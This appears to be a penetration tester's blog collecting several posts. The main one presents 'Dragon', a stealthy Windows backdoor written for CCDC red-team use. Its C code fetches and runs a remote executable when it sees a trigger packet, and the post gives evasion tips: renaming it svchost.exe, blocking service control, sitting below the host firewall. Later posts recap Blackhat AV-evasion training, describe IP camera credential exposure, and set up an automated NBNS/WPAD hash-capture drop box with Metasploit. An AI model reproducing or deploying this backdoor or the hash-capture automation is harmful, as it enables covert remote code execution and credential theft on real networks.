Thursday, January 16, 2014

Dragon a windows, non-binding, passive download/exec backdoor.

In the many years of participating in CCDC I keep running into the same problem.  If you've red teamed for one of these events, I'm sure you've encountered the same.  You've gotten a shell on a system, you've even installed a backdoor either through a bind listener, or through a reverse connection that calls back periodically. However, the savvy blue teams, either through firewall new rules killed your connection, or via netstat identified your back door and killed the process.

I've grown so frustrated with loosing my shells I decided to write (okay mostly steal and modify) a new backdoor specifically for windows.  I noticed that since the teams are scored for having their services up and running, they will never (in their right mind) firewall off access to the service running on their windows servers.   However, since the victims system would be running their service on that non-firewalled port, I couldn't just bind my listener to that same service.

So, instead of binding a socket to that interface/port, what if we set the interface to promiscuous mode, and listened to all the traffic on the machine.  We could then monitor for a specific trigger on all of the passing traffic and if one of those packets happen to match our rule set, we could run our back door code.

For this I wrote an app called dragon. Dragon, is a windows app that is designed to be installed as a windows service and will run at windows boot. It will listen to the first interface available to the OS (note, if you have multiple interfaces, this will only pick the first one to listen too).  It will continuously listen to all traffic across this interface, and discard ALL packets its uninterested in.

If a packet comes in with the Source Port of 12317, it will execute the following:
if (sport == 12317) { //Change this if you want it to listen on a different port.      
      remove( "c:\\windows\\system32\\x32.exe" );
      char cmd[255];        
      sprintf(cmd, "\"c:\\windows\\system\\wget.exe http://%d.%d.%d.%d/x32.exe\"", ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4 );

First it will remove any file stored under c:\windows\system32\ called x32.exe.  Next using wget.exe (you'll need to install this on your own).  It will download x32.exe from a host where the magic happy packet was sent from.  This means that even if the blue team firewalls off your attacking server, just change your IP, and send your happy magic packet from your new IP. It'll still work.  Lastly it'll execute it.  Note that we are using system() to call our binary.  Doing this means that the service will wait until the execution of x32.exe has finished before listening again for more happy packets.  I didn't want to fill taskmgr with a string of x32.exe's.  Lastly, I chose the name of the exe and source port as a preference, if you like to use something else just modify it in this function, the rest of the code can remain untouched. Heck you could put what ever you wanted here, shellcode to be executed, windows commands like add users to local adminstrators, etc. Its pretty modular, I just wanted the ability to down/exec when needed.

Other things to note.  This windows service employs the following code:
   ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_SHUTDOWN;
The ServiceStatus.dwControlsAccepted is the value which tells the service, what states it'll accept from the user.  Right now its set to only accept termination when being told that the system is shutting down.  This means the user can not pause or start the service, even if they are Administrator  The only way to kill/stop it is using task manager and kill the procces.  To help blend in even further I recommend you rename dragon.exe to svchost.exe :).

Other Items:

  1. This runs at a layer that is lower than the host firewall.  I haven't noticed many teams using host based firewalls, but even if they did, it wouldn't block this.
  2. This exe does require that libpcap driver be installed on the victims machine.  A reboot is NOT needed for this, but a silent install of winpcap is recommended.  I tried doing manual installs and it became a pain with 64 bit systems.  Instead the wonderful people over at released a winpcap installer that has a silent switch:  winpcap.exe /S.  Pretty simple.
  3. This code will compile (use  MinGW) for both 32bit and 64bit executibles.  I have successfully run this backdoor on:
    1. Windows XP 32 bit
    2. Windows 7 32 bit
    3. Windows 7 64 bit
    4. Windows 8 64 bit
    5. Windows 2000 server 32 bit (for fun)
    6. Windows 2003 server 32 bit
    7. Windows 2012 Server 64 bit
  4. It does not work for IPv6 networks because...ew.

That should be about it.  If you're interested, take a look, the code is up on github. Major props to by (for cd00r.c) and (for helldoor.c).  Lastly if you have any questions or comments, leave them below or you can reach me on @jarsnah12 on twitter.

Oh and if you're looking for something similar but for *nix, take a look at knockd.

Thursday, August 1, 2013

Blackhat 2013 Debrief

In what is becoming an annual summer tradition of mine, I recently had the opportunity to venture out towards the scorching deserts of Nevada to meet up with thousands of white, grey and black hat hackers to attend what are perhaps the two most well-known security conferences in existence, Blackhat and Defcon.  This year marks my 4th consecutive year of attendance for both events.  For those not familiar with the conferences, I like to say Blackhat is a ‘professional’ style conference which is pricey and sponsored.  Vendors bring out their best to impress the industry.  The other conference, Defcon, is held the Thur - Sun immediately after Blackhat wraps up.  Defcon is known to be very low cost for attendance and takes on a bit of a wild atmosphere, much more casual.

Welcome to Blackhat 2013
This year was my first chance to attend the training portion of the Blackhat security conference.  I opted to attend the Bypassing Security Defenses: Penetration Testing Secrets hosted by Mr. David Kennedy.  Dave is a well-known individual in the security community as he heads his company TrustedSec, and has created many well-known utilities such as the Social Engineer’s Toolkit and various others.  Having seen Dave talk in years past, I knew I would be in for a real treat.  For me, the goal of the class was to expand my anti-virus evasion techniques and privilege escalation attacks.
The first part of training served as a smash-course in reconnaissance utilities such as recon-ng and the Metasploit framework.  I was relatively surprised to see that a large portion of the class had never spent time in the framework before, however I was pleased to see that the pace of the course progressed as promised.  After lunch, we began diving into exploitation secrets and evasion techniques such as EXE::Custom and EnableStagedEncoding advanced payload options capable of landing memory resident payloads (i.e. meterpreter) which traditional anti-virus mechanism are unable to detect.  I had heard of a few of the tactics we covered in the past; however with day to day work and engagements, I find it hard to always be on the bleeding edge and have tools prepped and tested.  I found this training to be the perfect ‘sharpening’ of my skillset that I needed.  As we were walking through examples and landing shells, I quickly became excited to try these techniques on real-world scenarios. 

Reverse meterpreter shells evading anti-virus, and clear text admin password dumps!
Day 2 of the training focused on navigating Kennedy’s popular Social Engineer Toolkit utility which fortunately I’ve had quite a bit of experience with.  We spent time in using python to craft our own custom reverse shells and meterpreter payloads using pyinjector which resulted in payloads which would easily evade any common anti-virus software.  The class was treated to a surprise when famed hacker Kevin Mitnick showed up to discuss his past stories of hacking (and getting caught), in addition to providing some reconnaissance tips.  Lastly the class walked through an older stack based buffer overflow attack.  This walkthrough was a bit of a recap to me, however anytime one is able to tear through the stack in a debugger serves as a good recap.  I was pleased with the course and thought it was well worth the value, if nothing else, to learn directly from a leader in the industry.

Kevin Mitnick shares his experiences with the class
Day 3 of the Blackhat conference started the briefings portion of the conference and to kick things off,  Gen. Keith Alexander (chief of the NSA and USCYBERCOM Commander) was put on the podium to deliver the Keynote speech and defend a tarnished image of the NSA in light of the Prism document leaks.  The General delivered a good and intriguing keynote address about how we came to these programs and what the intent of these programs are.  In addition, he went into depth regarding Section 215 (Telephone metadata monitoring) and Section 702 Prism (or communication content monitoring).  Much of the talk was wrapped around attacks against the US and recent thwarted attacks due to these monitoring programs.  Some individuals in the crowd called “bullshit” and voiced their distrust with the General’s comments; however it is up to each to make their own opinions regarding the balance of privacy verse security.  The General did go into details about who is being targeted and the auditability that goes into each query, along with protections in place to ensure no wrongful or unwarranted monitoring is taking place.  He mentioned that while the NSA may have capabilities of eaves dropping on everyone’s communication, he stated the NSA has rigorous checks and balances in place along with no intent to do, “That’s no bullshit, those are the facts”.  I particularly enjoyed one of the General’s open ended question where he asked “If those 54 thwarted attacks had been successful, what do you think the state of our civil liberties be?”

Gen. Alexander delivering a tense keynote address to the Blackhat audience
Other talk highlights included a run down on the Computer Fraud and Abuse Act (CFAA) and how it can be applied to security researchers.  The takeaway from this talk is that the law is written so vaguely and loosely that it can be interpreted in nearly any way a court chooses to.  There were numerous examples of past high profile cases where it was deemed defendants violated the CFAA resulting in exorbitant penalties and prison time for the minor security research and offenses, most of which was publically available information.  It was quite eye opening in light of our IP Camera Confessional talk we presented at BSides Iowa.  After the talk, I immediately ventured to the booth of the EFF (Electronic Frontier Foundation) to pledge my support for their work in defending our civil liberties in a digital world. 

In another talk, a team of researchers from iSec Partners gave an incredible presentation about hacking personal cellular tower extenders (i.e. femtocells).  The researchers were able to root the femtocell device, install and compile code to essentially snoop on any Verizon CDMA cell phone within range.  Prior to the talk, they laid out a red line of tape designating the ‘danger zone’ in which they cautioned audience members inside the zone that they could be subject to snooping.  Live demonstrations were given of the researchers recording voice calls, text messages and data snooping.  Lastly, they were able to clone a victim’s phone allowing them to receive the victim’s phone calls, text messages, data plans and use their minutes.  All of this was unknown to the victim and required no user interaction other than being within range.  Quite a compelling and eye opening talk as mobile devices are so common in today’s world with zero protections against these rogue femtocell attacks.  Well done iSec.

Warnings posted prior to entering the conference room

Day 3 (Wednesday) is always a real treat.  My fellow #madsec pals arrived in town and we prepped for our first night out.  The vendors at Blackhat bring out their best to impress the industry, so this year we visited 3 events.  First off, we ventured to the Mirage to attend Tenable’s gathering at Rhumbar.  Paul Assodorian (Pauldotcom podcaster) served up some terrific cigars while we mingled amongst security professionals enjoying complementary drinks.  I had some very interesting conversations with folks from Booz Allen Hamilton in light of the Snowden fiasco, really nice to get their take on things.  From Tenable’s party, we ventured inside the Mirage to the Revolution Lounge where Fishnet was holding a social.  My pal Drew and his company are in close with Fishnet so we were treated to drinks and snacks while we talked with people in the industry.  We then ventured over to the Palms for the annual Rapid7 party which is always quite a show.  They take over the Rain nightclub with live DJs inside and a pool deck outside for mingling.  This year, I was able to meet some awesome individuals in the industry such as JDuck, theLightCosine and bumped into Rel1k again for some hugs and drinks.  It was nice to show appreciation to the people who have contributed so much to the industry.  

Enjoying the Rapid7 Party with David Rel1k Kennedy
Hanging with USCC and madsec, JDuck and theLightCosine!

I hope to get the motivation for a future write up of my Defcon experience, however the conference is controlled chaos.  From presentations, to lock picking villages, contests and games, there is just so much going on.  For me, the highlight again was awarded to David Kennedy and his talk regarding how advanced modern day defenses can easily be beaten and the education which needs to happen.  I'll leave you with a snippet of his talk where he and Kevin Mitnick do a live onstage demo of social engineering a user on the phone and gaining complete SYSTEM level access of his computer, allowing them to pivot and pwn the organization.

As with years past, this week was an incredible experience, I'm humbled to be around so many bright minds in the industry and deeply enjoy this line of work.  Thanks for checking out the post.

Thursday, April 11, 2013

Confessions of an IP Camera

A past weekend in early April 2013, a fellow #madsec individual (meatball) and I gave a talk at BSides Iowa regarding security weaknesses found in IP Cameras.  The talk focused around various IP camera vendors which put consumers at risk of exposing these cameras publicly via dynamic DNS and UPnP features. 

Our research revealed that not only could an attacker easily identify where these cameras exist and access video and audio streams of unsuspecting users, but often times, collect wifi keys, e-mail, FTP and MSN credentials by simply issuing a .cgi GET request.  Using geo-IP information and Wifi MAC address triangulation, we can pinpoint where these cameras are located to the city block.

We also were made aware that individuals at Qualys presented a similar talk at Hack-in-the-Box on the same weekend as our presentation.  We hope to chat with those individuals about our research plans moving forward. The directory traversal vulnerability in their research looks pretty cool, something we wish we had more time to look at. You can view their research here.

Our intentions are to raise awareness of the practices of these camera vendors as well as create a framework for collecting and organizing this data, as example by the below map demonstrating the ease in which an attacker could gather this publicly available information.  We encourage you to check our presentation out below.

Presentation:  Confessions of an IP Camera  [PDF] 

Update:  (August 14, 2013)
In August 2013, CNN caught wind of these security flaws in IP Cameras and hosted David Kennedy for an video segment which can be viewed below:

Saturday, February 9, 2013

RaspberryPi WPAD AutoPwn

Like many of the people I know who were interested in getting their hands on the RaspberryPi, once I acquired  a couple of these devices, I was struggling to find a good use for the miniature Linux computer. 

As a penetration tester, one attack I enjoy performing is attempting to take advantage of the Netbios Name Service, particularly responding to broadcasts for WPAD.  For those not familiar with the concept, Tim Medin has a terrific post at Packetstan which I highly suggest reading.  This attack is highly effective when engagement scoping excludes arp poisoning and other traffic manipulations.

My objective was to accomplish the attacks mentioned in the post above in an automated fashion using these drop-box style mini-computers.  I'll demonstrate my methodology of turning this little Linux computer into an automatic hash collector simply by turning on and plugging into a network.

First off, many distributions for the RaspberryPi exist, and it just so happens that my distribution of choice was Raspbian.  Another terrific option would be RaspberryPwn, a Raspberry Pi pentesting suite by the guys at Pwnie Express.

Once you have your distribution of choice up and running, a few things will need to be fetched and compiled on the Pi.  I would recommend Screen to serve as a terminal and window manager, however a graphical-X display can be run if one chooses.

For my Rasbian distrubution, the below got me setup with Ruby the latest Metasploit framework.  I elected for the source as I was working on the ARM architecture. 
mkdir /pentest
mkdir /pentest/wpad_pwner
apt-get install ruby
cd /pentest
bunzip framework-latest.tar.bz2
tar -xvf framework-latest.tar

Inside the /pentest/wpad_pwner directory, I created a simple text file and a simple bash script.  The text file serves as a template for which the future resource file will  be created.  The bash script determines any IP assigned to the RaspberryPi and creates the needed Metasploit resource file.  Lastly, the bash script then executes Metasploit and setups our handlers.

File:  /pentest/wpad_pwner/WPAD_NBNS_RESPONSE_INT_UNDEF
use auxiliary/spoof/nbns/nbns_response
set spoofip INTERFACE
use auxiliary/server/capture/smb
set JOHNPWFILE /pentest/wpad_pwner/johnsmb
use auxiliary/server/capture/http_ntlm
set LOGFILE /pentest/wpad_pwner/httplog
set SRVPORT 80
File:  /pentest/wpad_pwner/
rm /pentest/wpad_pwner/WPAD_NBNS_RESPONSE.rc
dhclient eth0
LISTENIP=$(ifconfig eth0 | grep "inet addr" | awk -F: '{print $2}' | awk '{print $1}')
/pentest/msf3/msfconsole -r WPAD_NBNS_RESPONSE.rc
Once the files are created, don't forget to make the bash script executable.  If you would like for the script to execute at boot (allowing for plug and gather hash automation), simply echo to the rc.local file. 
chmod +x /pentest/wpad_pwner/
echo "./pentest/wpad_pwner/" >> /etc/rc.local
Note, that for Metaploit's auxiliary/server/capture/http_ntlm to bind to TCP port 80, the script will require root privileges.  Also, the Metasploit console load time on the RaspberryPi can take upwards of 5 to 10 minutes, have some patience.

On a simplistic level, the above should capture various Netbios queries and reply, and in certain instances such as queries for WPAD, result in collected hashes.  If one is new to these types of Netbios Name spoofing attacks, I would again refer you to read Tim Medin's Packetstan blog for a deep dive into the attack. With the addition of a automated reverse shell to a controlled server, collected hashes can be gathered on the fly and replayed in pass-the-hash style attacks or cracked depending upon the type of hash received (LM, NTLMv1 or NTLMv2).

Friday, July 8, 2011

Travis Kaun PGP Public Key

Version: GnuPG v1.4.11 (GNU/Linux)